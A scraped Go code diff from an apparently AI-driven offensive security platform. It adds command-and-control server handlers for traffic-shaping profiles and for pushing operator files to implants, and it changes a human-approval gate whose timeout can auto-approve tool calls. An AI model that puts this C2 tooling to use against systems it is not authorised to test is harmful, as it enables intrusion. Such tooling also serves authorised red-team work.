if !paginated {
|
||||
c.JSON(http.StatusOK, gin.H{"events": events})
|
||||
return
|
||||
}
|
||||
total, err := h.manager.DB().CountC2Events(filter)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"events": events,
|
||||
"total": total,
|
||||
"page": page,
|
||||
"page_size": pageSize,
|
||||
})
|
||||
}
|
||||
|
||||
// DeleteEvents 批量删除事件(请求体 JSON: {"ids":["e_xxx",...]})
|
||||
func (h *C2Handler) DeleteEvents(c *gin.Context) {
|
||||
var req struct {
|
||||
IDs []string `json:"ids"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
|
||||
return
|
||||
}
|
||||
if len(req.IDs) == 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
|
||||
return
|
||||
}
|
||||
n, err := h.manager.DB().DeleteC2EventsByIDs(req.IDs)
|
||||
if err != nil {
|
||||
if errors.Is(err, database.ErrNoValidC2EventIDs) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"deleted": n})
|
||||
}
|
||||
|
||||
// EventStream SSE 实时事件流
|
||||
func (h *C2Handler) EventStream(c *gin.Context) {
|
||||
c.Header("Content-Type", "text/event-stream")
|
||||
c.Header("Cache-Control", "no-cache")
|
||||
c.Header("Connection", "keep-alive")
|
||||
|
||||
sessionFilter := c.Query("session_id")
|
||||
categoryFilter := c.Query("category")
|
||||
levels := c.QueryArray("level")
|
||||
|
||||
sub := h.manager.EventBus().Subscribe(
|
||||
"sse-"+uuid.New().String(),
|
||||
128,
|
||||
sessionFilter,
|
||||
categoryFilter,
|
||||
levels,
|
||||
)
|
||||
defer h.manager.EventBus().Unsubscribe(sub.ID)
|
||||
|
||||
c.Stream(func(w io.Writer) bool {
|
||||
select {
|
||||
case e, ok := <-sub.Ch:
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
data, _ := json.Marshal(e)
|
||||
fmt.Fprintf(w, "data: %s\n\n", data)
|
||||
return true
|
||||
case <-c.Request.Context().Done():
|
||||
return false
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Profile API
|
||||
// ============================================================================
|
||||
|
||||
// ListProfiles 获取 Malleable Profile 列表
|
||||
func (h *C2Handler) ListProfiles(c *gin.Context) {
|
||||
profiles, err := h.manager.DB().ListC2Profiles()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"profiles": profiles})
|
||||
}
|
||||
|
||||
// GetProfile 获取单个 Profile
|
||||
func (h *C2Handler) GetProfile(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
profile, err := h.manager.DB().GetC2Profile(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if profile == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "profile not found"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"profile": profile})
|
||||
}
|
||||
|
||||
// CreateProfile 创建 Profile
|
||||
func (h *C2Handler) CreateProfile(c *gin.Context) {
|
||||
var req database.C2Profile
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
req.ID = "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
req.CreatedAt = time.Now()
|
||||
|
||||
if err := h.manager.DB().CreateC2Profile(&req); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"profile": req})
|
||||
}
|
||||
|
||||
// UpdateProfile 更新 Profile
|
||||
func (h *C2Handler) UpdateProfile(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
profile, err := h.manager.DB().GetC2Profile(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if profile == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "profile not found"})
|
||||
return
|
||||
}
|
||||
|
||||
var req database.C2Profile
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
profile.Name = req.Name
|
||||
profile.UserAgent = req.UserAgent
|
||||
profile.URIs = req.URIs
|
||||
profile.RequestHeaders = req.RequestHeaders
|
||||
profile.ResponseHeaders = req.ResponseHeaders
|
||||
profile.BodyTemplate = req.BodyTemplate
|
||||
profile.JitterMinMS = req.JitterMinMS
|
||||
profile.JitterMaxMS = req.JitterMaxMS
|
||||
|
||||
if err := h.manager.DB().UpdateC2Profile(profile); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"profile": profile})
|
||||
}
|
||||
|
||||
// DeleteProfile 删除 Profile
|
||||
func (h *C2Handler) DeleteProfile(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
if err := h.manager.DB().DeleteC2Profile(id); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"deleted": true})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 文件管理 API(C2 Upload 任务需要先通过此 API 上传文件到 downstream 目录)
|
||||
// ============================================================================
|
||||
|
||||
// UploadFileForImplant 操作员上传文件,供 upload 任务推送给 implant
|
||||
func (h *C2Handler) UploadFileForImplant(c *gin.Context) {
|
||||
sessionID := strings.TrimSpace(c.PostForm("session_id"))
|
||||
remotePath := strings.TrimSpace(c.PostForm("remote_path"))
|
||||
if sessionID == "" || remotePath == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "session_id and remote_path required"})
|
||||
return
|
||||
}
|
||||
|
||||
file, header, err := c.Request.FormFile("file")
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "file field required: " + err.Error()})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
fileID := "f_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
dir := filepath.Join(h.manager.StorageDir(), "downstream")
|
||||
if err := osMkdirAll(dir); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
dstPath := filepath.Join(dir, fileID+".bin")
|
||||
dst, err := osCreate(dstPath)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
n, err := io.Copy(dst, file)
|
||||
dst.Close()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// Record in DB
|
||||
dbFile := &database.C2File{
|
||||
ID: fileID,
|
||||
SessionID: sessionID,
|
||||
Direction: "upload",
|
||||
RemotePath: remotePath,
|
||||
LocalPath: dstPath,
|
||||
SizeBytes: n,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
_ = h.manager.DB().CreateC2File(dbFile)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"file_id": fileID,
|
||||
"size": n,
|
||||
"filename": header.Filename,
|
||||
"remote_path": remotePath,
|
||||
})
|
||||
}
|
||||
|
||||
// ListFiles 列出某会话的文件记录
|
||||
func (h *C2Handler) ListFiles(c *gin.Context) {
|
||||
sessionID := c.Query("session_id")
|
||||
if sessionID == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "session_id required"})
|
||||
return
|
||||
}
|
||||
files, err := h.manager.DB().ListC2FilesBySession(sessionID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"files": files})
|
||||
}
|
||||
|
||||
// DownloadResultFile 下载任务结果文件(截图等 blob 结果)
|
||||
func (h *C2Handler) DownloadResultFile(c *gin.Context) {
|
||||
taskID := c.Param("id")
|
||||
task, err := h.manager.DB().GetC2Task(taskID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if task == nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "task not found"})
|
||||
return
|
||||
}
|
||||
if task.ResultBlobPath == "" {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "no result file for this task"})
|
||||
return
|
||||
}
|
||||
c.FileAttachment(task.ResultBlobPath, filepath.Base(task.ResultBlobPath))
|
||||
}
|
||||
|
||||
func osMkdirAll(path string) error {
|
||||
return os.MkdirAll(path, 0o755)
|
||||
}
|
||||
|
||||
func osCreate(path string) (*os.File, error) {
|
||||
return os.Create(path)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 辅助函数(firstNonEmpty 已在 vulnerability.go 中定义)
|
||||
// ============================================================================
|
||||
+39
-14
@@ -17,6 +17,7 @@ import (
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/knowledge"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
"cyberstrike-ai/internal/openai"
|
||||
"cyberstrike-ai/internal/security"
|
||||
|
||||
@@ -90,6 +91,7 @@ type AttackChainUpdater interface {
|
||||
type AgentUpdater interface {
|
||||
UpdateConfig(cfg *config.OpenAIConfig)
|
||||
UpdateMaxIterations(maxIterations int)
|
||||
UpdateToolDescriptionMode(mode string)
|
||||
}
|
||||
|
||||
// NewConfigHandler 创建新的配置处理器
|
||||
@@ -232,13 +234,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
||||
if configToolMap[mcpTool.Name] {
|
||||
continue
|
||||
}
|
||||
description := mcpTool.ShortDescription
|
||||
if description == "" {
|
||||
description = mcpTool.Description
|
||||
}
|
||||
if len(description) > 10000 {
|
||||
description = description[:10000] + "..."
|
||||
}
|
||||
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
||||
tools = append(tools, ToolConfigInfo{
|
||||
Name: mcpTool.Name,
|
||||
Description: description,
|
||||
@@ -275,6 +271,11 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
||||
SubAgentCount: subAgentCount,
|
||||
Orchestration: config.NormalizeMultiAgentOrchestration(h.config.MultiAgent.Orchestration),
|
||||
PlanExecuteLoopMaxIterations: h.config.MultiAgent.PlanExecuteLoopMaxIterations,
|
||||
ToolSearchAlwaysVisibleTools: append([]string(nil), h.config.MultiAgent.EinoMiddleware.ToolSearchAlwaysVisibleTools...),
|
||||
ToolSearchAlwaysVisibleEffectiveTools: mergeToolNameLists(
|
||||
h.config.MultiAgent.EinoMiddleware.ToolSearchAlwaysVisibleTools,
|
||||
builtin.GetAllBuiltinTools(),
|
||||
),
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, GetConfigResponse{
|
||||
@@ -430,13 +431,7 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
continue
|
||||
}
|
||||
|
||||
description := mcpTool.ShortDescription
|
||||
if description == "" {
|
||||
description = mcpTool.Description
|
||||
}
|
||||
if len(description) > 10000 {
|
||||
description = description[:10000] + "..."
|
||||
}
|
||||
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
||||
|
||||
toolInfo := ToolConfigInfo{
|
||||
Name: mcpTool.Name,
|
||||
@@ -689,11 +684,13 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
||||
if req.MultiAgent.PlanExecuteLoopMaxIterations != nil {
|
||||
h.config.MultiAgent.PlanExecuteLoopMaxIterations = *req.MultiAgent.PlanExecuteLoopMaxIterations
|
||||
}
|
||||
h.config.MultiAgent.EinoMiddleware.ToolSearchAlwaysVisibleTools = dedupeToolNameList(req.MultiAgent.ToolSearchAlwaysVisibleTools)
|
||||
h.logger.Info("更新多代理配置",
|
||||
zap.Bool("enabled", h.config.MultiAgent.Enabled),
|
||||
zap.Bool("robot_use_multi_agent", h.config.MultiAgent.RobotUseMultiAgent),
|
||||
zap.Bool("batch_use_multi_agent", h.config.MultiAgent.BatchUseMultiAgent),
|
||||
zap.Int("plan_execute_loop_max_iterations", h.config.MultiAgent.PlanExecuteLoopMaxIterations),
|
||||
zap.Int("tool_search_always_visible_tools", len(h.config.MultiAgent.EinoMiddleware.ToolSearchAlwaysVisibleTools)),
|
||||
)
|
||||
}
|
||||
|
||||
@@ -1061,6 +1058,7 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
||||
if h.agent != nil {
|
||||
h.agent.UpdateConfig(&h.config.OpenAI)
|
||||
h.agent.UpdateMaxIterations(h.config.Agent.MaxIterations)
|
||||
h.agent.UpdateToolDescriptionMode(h.config.Security.ToolDescriptionMode)
|
||||
h.logger.Info("Agent配置已更新")
|
||||
}
|
||||
|
||||
@@ -1383,6 +1381,33 @@ func updateMultiAgentConfig(doc *yaml.Node, cfg config.MultiAgentConfig) {
|
||||
setBoolInMap(maNode, "robot_use_multi_agent", cfg.RobotUseMultiAgent)
|
||||
setBoolInMap(maNode, "batch_use_multi_agent", cfg.BatchUseMultiAgent)
|
||||
setIntInMap(maNode, "plan_execute_loop_max_iterations", cfg.PlanExecuteLoopMaxIterations)
|
||||
mwNode := ensureMap(maNode, "eino_middleware")
|
||||
setFlowStringSliceInMap(mwNode, "tool_search_always_visible_tools", dedupeToolNameList(cfg.EinoMiddleware.ToolSearchAlwaysVisibleTools))
|
||||
}
|
||||
|
||||
func dedupeToolNameList(in []string) []string {
|
||||
if len(in) == 0 {
|
||||
return []string{}
|
||||
}
|
||||
seen := make(map[string]struct{}, len(in))
|
||||
out := make([]string, 0, len(in))
|
||||
for _, name := range in {
|
||||
n := strings.TrimSpace(name)
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(n)
|
||||
if _, ok := seen[key]; ok {
|
||||
continue
|
||||
}
|
||||
seen[key] = struct{}{}
|
||||
out = append(out, n)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mergeToolNameLists(a, b []string) []string {
|
||||
return dedupeToolNameList(append(append([]string{}, a...), b...))
|
||||
}
|
||||
|
||||
func ensureMap(parent *yaml.Node, path ...string) *yaml.Node {
|
||||
|
||||
@@ -230,4 +230,3 @@ func (h *ConversationHandler) DeleteConversationTurn(c *gin.Context) {
|
||||
"message": "ok",
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -175,6 +175,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
)
|
||||
|
||||
if runErr != nil {
|
||||
h.persistEinoAgentTraceForResume(conversationID, result)
|
||||
cause := context.Cause(baseCtx)
|
||||
if errors.Is(cause, ErrTaskCancelled) {
|
||||
taskStatus = "cancelled"
|
||||
@@ -239,9 +240,9 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
)
|
||||
}
|
||||
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存代理轨迹失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -306,6 +307,7 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
||||
progressCallback,
|
||||
)
|
||||
if runErr != nil {
|
||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": runErr.Error()})
|
||||
return
|
||||
}
|
||||
@@ -323,8 +325,8 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
||||
prep.AssistantMessageID,
|
||||
)
|
||||
}
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
_ = h.db.SaveReActData(prep.ConversationID, result.LastReActInput, result.LastReActOutput)
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
_ = h.db.SaveAgentTrace(prep.ConversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput)
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
|
||||
@@ -247,7 +247,7 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
|
||||
|
||||
// 先添加一个配置
|
||||
configObj := config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
handler.manager.AddOrUpdateConfig("test-delete", configObj)
|
||||
@@ -276,11 +276,11 @@ func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
||||
|
||||
// 添加多个配置
|
||||
handler.manager.AddOrUpdateConfig("test1", config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
})
|
||||
handler.manager.AddOrUpdateConfig("test2", config.ExternalMCPServerConfig{
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
ExternalMCPEnable: false,
|
||||
})
|
||||
|
||||
@@ -319,15 +319,15 @@ func TestExternalMCPHandler_GetExternalMCPStats(t *testing.T) {
|
||||
|
||||
// 添加配置
|
||||
handler.manager.AddOrUpdateConfig("enabled1", config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
})
|
||||
handler.manager.AddOrUpdateConfig("enabled2", config.ExternalMCPServerConfig{
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
})
|
||||
handler.manager.AddOrUpdateConfig("disabled1", config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
})
|
||||
|
||||
req := httptest.NewRequest("GET", "/api/external-mcp/stats", nil)
|
||||
@@ -360,7 +360,7 @@ func TestExternalMCPHandler_StartStopExternalMCP(t *testing.T) {
|
||||
|
||||
// 添加一个禁用的配置
|
||||
handler.manager.AddOrUpdateConfig("test-start-stop", config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
})
|
||||
|
||||
// 测试启动(可能会失败,因为没有真实的服务器)
|
||||
@@ -416,7 +416,7 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_EmptyName(t *testing.T) {
|
||||
router, _, _ := setupTestRouter()
|
||||
|
||||
configObj := config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
|
||||
@@ -459,14 +459,14 @@ func TestExternalMCPHandler_UpdateExistingConfig(t *testing.T) {
|
||||
|
||||
// 先添加配置
|
||||
config1 := config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
handler.manager.AddOrUpdateConfig("test-update", config1)
|
||||
|
||||
// 更新配置
|
||||
config2 := config.ExternalMCPServerConfig{
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
|
||||
|
||||
+30
-11
@@ -85,7 +85,7 @@ CREATE TABLE IF NOT EXISTS hitl_conversation_configs (
|
||||
enabled INTEGER NOT NULL DEFAULT 0,
|
||||
mode TEXT NOT NULL DEFAULT 'off',
|
||||
sensitive_tools TEXT NOT NULL DEFAULT '[]',
|
||||
timeout_seconds INTEGER NOT NULL DEFAULT 300,
|
||||
timeout_seconds INTEGER NOT NULL DEFAULT 0,
|
||||
updated_at DATETIME NOT NULL
|
||||
);`)
|
||||
if err != nil {
|
||||
@@ -133,7 +133,8 @@ func (m *HITLManager) ActivateConversation(conversationID string, req *HITLReque
|
||||
tools[n] = struct{}{}
|
||||
}
|
||||
}
|
||||
timeout := 5 * time.Minute
|
||||
// timeout <= 0 means wait forever (no timeout).
|
||||
timeout := time.Duration(0)
|
||||
if req.TimeoutSeconds > 0 {
|
||||
timeout = time.Duration(req.TimeoutSeconds) * time.Second
|
||||
}
|
||||
@@ -232,6 +233,15 @@ func (m *HITLManager) shouldInterrupt(conversationID, toolName string) (hitlRunt
|
||||
return cfg, !inWhitelist
|
||||
}
|
||||
|
||||
// NeedsToolApproval 与 Agent 工具层 shouldInterrupt 语义一致:仅当该会话已开启人机协同且工具不在免审批白名单时为 true。
|
||||
func (m *HITLManager) NeedsToolApproval(conversationID, toolName string) bool {
|
||||
if m == nil {
|
||||
return false
|
||||
}
|
||||
_, need := m.shouldInterrupt(conversationID, toolName)
|
||||
return need
|
||||
}
|
||||
|
||||
func (m *HITLManager) CreatePendingInterrupt(conversationID, assistantMessageID, mode, toolName, toolCallID, payload string) (*pendingInterrupt, error) {
|
||||
now := time.Now()
|
||||
id := "hitl_" + strings.ReplaceAll(uuid.New().String(), "-", "")
|
||||
@@ -275,8 +285,8 @@ func (m *HITLManager) ensureConversationHITLModePersisted(conversationID, interr
|
||||
}
|
||||
cfg.Enabled = true
|
||||
cfg.Mode = nm
|
||||
if cfg.TimeoutSeconds <= 0 {
|
||||
cfg.TimeoutSeconds = 300
|
||||
if cfg.TimeoutSeconds < 0 {
|
||||
cfg.TimeoutSeconds = 0
|
||||
}
|
||||
return m.SaveConversationConfig(conversationID, cfg)
|
||||
}
|
||||
@@ -341,7 +351,7 @@ func (m *HITLManager) SaveConversationConfig(conversationID string, req *HITLReq
|
||||
return errors.New("conversationId is required")
|
||||
}
|
||||
if req == nil {
|
||||
req = &HITLRequest{Enabled: false, Mode: "off", TimeoutSeconds: 300}
|
||||
req = &HITLRequest{Enabled: false, Mode: "off", TimeoutSeconds: 0}
|
||||
}
|
||||
mode := normalizeHitlMode(req.Mode)
|
||||
if !req.Enabled {
|
||||
@@ -349,8 +359,8 @@ func (m *HITLManager) SaveConversationConfig(conversationID string, req *HITLReq
|
||||
}
|
||||
tools, _ := json.Marshal(req.SensitiveTools)
|
||||
timeout := req.TimeoutSeconds
|
||||
if timeout <= 0 {
|
||||
timeout = 300
|
||||
if timeout < 0 {
|
||||
timeout = 0
|
||||
}
|
||||
_, err := m.db.Exec(`INSERT INTO hitl_conversation_configs
|
||||
(conversation_id, enabled, mode, sensitive_tools, timeout_seconds, updated_at)
|
||||
@@ -368,11 +378,14 @@ func (m *HITLManager) LoadConversationConfig(conversationID string) (*HITLReques
|
||||
err := m.db.QueryRow(`SELECT enabled, mode, sensitive_tools, timeout_seconds FROM hitl_conversation_configs WHERE conversation_id = ?`, conversationID).
|
||||
Scan(&enabledInt, &mode, &toolsJSON, &timeout)
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return &HITLRequest{Enabled: false, Mode: "off", SensitiveTools: []string{}, TimeoutSeconds: 300}, nil
|
||||
return &HITLRequest{Enabled: false, Mode: "off", SensitiveTools: []string{}, TimeoutSeconds: 0}, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if timeout < 0 {
|
||||
timeout = 0
|
||||
}
|
||||
tools := make([]string, 0)
|
||||
_ = json.Unmarshal([]byte(toolsJSON), &tools)
|
||||
return &HITLRequest{
|
||||
@@ -389,6 +402,12 @@ func (m *HITLManager) waitDecision(ctx context.Context, p *pendingInterrupt, tim
|
||||
delete(m.pending, p.InterruptID)
|
||||
m.mu.Unlock()
|
||||
}()
|
||||
var timeoutCh <-chan time.Time
|
||||
if timeout > 0 {
|
||||
timer := time.NewTimer(timeout)
|
||||
defer timer.Stop()
|
||||
timeoutCh = timer.C
|
||||
}
|
||||
select {
|
||||
case d := <-p.decideCh:
|
||||
// 只有 review_edit 模式允许改参;其他模式一律忽略 edited arguments
|
||||
@@ -398,7 +417,7 @@ func (m *HITLManager) waitDecision(ctx context.Context, p *pendingInterrupt, tim
|
||||
_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='decided', decision=?, decision_comment=?, decided_at=? WHERE id=?`,
|
||||
d.Decision, d.Comment, time.Now(), p.InterruptID)
|
||||
return d, nil
|
||||
case <-time.After(timeout):
|
||||
case <-timeoutCh:
|
||||
_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='approve', decision_comment='timeout auto approve', decided_at=? WHERE id=?`,
|
||||
time.Now(), p.InterruptID)
|
||||
return hitlDecision{Decision: "approve", Comment: "timeout auto approve"}, nil
|
||||
@@ -718,8 +737,8 @@ func (h *AgentHandler) GetHITLConversationConfig(c *gin.Context) {
|
||||
cfg2 := *cfg
|
||||
cfg2.Enabled = true
|
||||
cfg2.Mode = normalizeHitlMode(pendMode)
|
||||
if cfg2.TimeoutSeconds <= 0 {
|
||||
cfg2.TimeoutSeconds = 300
|
||||
if cfg2.TimeoutSeconds < 0 {
|
||||
cfg2.TimeoutSeconds = 0
|
||||
}
|
||||
cfg = &cfg2
|
||||
}
|
||||
|
||||
@@ -131,16 +131,16 @@ func (h *MarkdownAgentsHandler) GetMarkdownAgent(c *gin.Context) {
|
||||
}
|
||||
|
||||
type markdownAgentBody struct {
|
||||
Filename string `json:"filename"`
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Tools []string `json:"tools"`
|
||||
Instruction string `json:"instruction"`
|
||||
BindRole string `json:"bind_role"`
|
||||
MaxIterations int `json:"max_iterations"`
|
||||
Kind string `json:"kind"`
|
||||
Raw string `json:"raw"`
|
||||
Filename string `json:"filename"`
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Tools []string `json:"tools"`
|
||||
Instruction string `json:"instruction"`
|
||||
BindRole string `json:"bind_role"`
|
||||
MaxIterations int `json:"max_iterations"`
|
||||
Kind string `json:"kind"`
|
||||
Raw string `json:"raw"`
|
||||
}
|
||||
|
||||
// CreateMarkdownAgent POST /api/multi-agent/markdown-agents
|
||||
|
||||
@@ -42,11 +42,11 @@ func (h *MonitorHandler) SetExternalMCPManager(mgr *mcp.ExternalMCPManager) {
|
||||
type MonitorResponse struct {
|
||||
Executions []*mcp.ToolExecution `json:"executions"`
|
||||
Stats map[string]*mcp.ToolStats `json:"stats"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Total int `json:"total,omitempty"`
|
||||
Page int `json:"page,omitempty"`
|
||||
PageSize int `json:"page_size,omitempty"`
|
||||
TotalPages int `json:"total_pages,omitempty"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Total int `json:"total,omitempty"`
|
||||
Page int `json:"page,omitempty"`
|
||||
PageSize int `json:"page_size,omitempty"`
|
||||
TotalPages int `json:"total_pages,omitempty"`
|
||||
}
|
||||
|
||||
// Monitor 获取监控信息
|
||||
@@ -213,7 +213,6 @@ func (h *MonitorHandler) loadStats() map[string]*mcp.ToolStats {
|
||||
return stats
|
||||
}
|
||||
|
||||
|
||||
// GetExecution 获取特定执行记录
|
||||
func (h *MonitorHandler) GetExecution(c *gin.Context) {
|
||||
id := c.Param("id")
|
||||
@@ -416,5 +415,3 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
||||
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
||||
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -185,6 +185,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
)
|
||||
|
||||
if runErr != nil {
|
||||
h.persistEinoAgentTraceForResume(conversationID, result)
|
||||
cause := context.Cause(baseCtx)
|
||||
if errors.Is(cause, ErrTaskCancelled) {
|
||||
taskStatus = "cancelled"
|
||||
@@ -249,9 +250,9 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
)
|
||||
}
|
||||
|
||||
if result.LastReActInput != "" || result.LastReActOutput != "" {
|
||||
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
|
||||
h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
|
||||
if result.LastAgentTraceInput != "" || result.LastAgentTraceOutput != "" {
|
||||
if err := h.db.SaveAgentTrace(conversationID, result.LastAgentTraceInput, result.LastAgentTraceOutput); err != nil {
|
||||
h.logger.Warn("保存代理轨迹失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -318,6 +319,7 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
strings.TrimSpace(req.Orchestration),
|
||||
)
|
||||
if runErr != nil {
|
||||
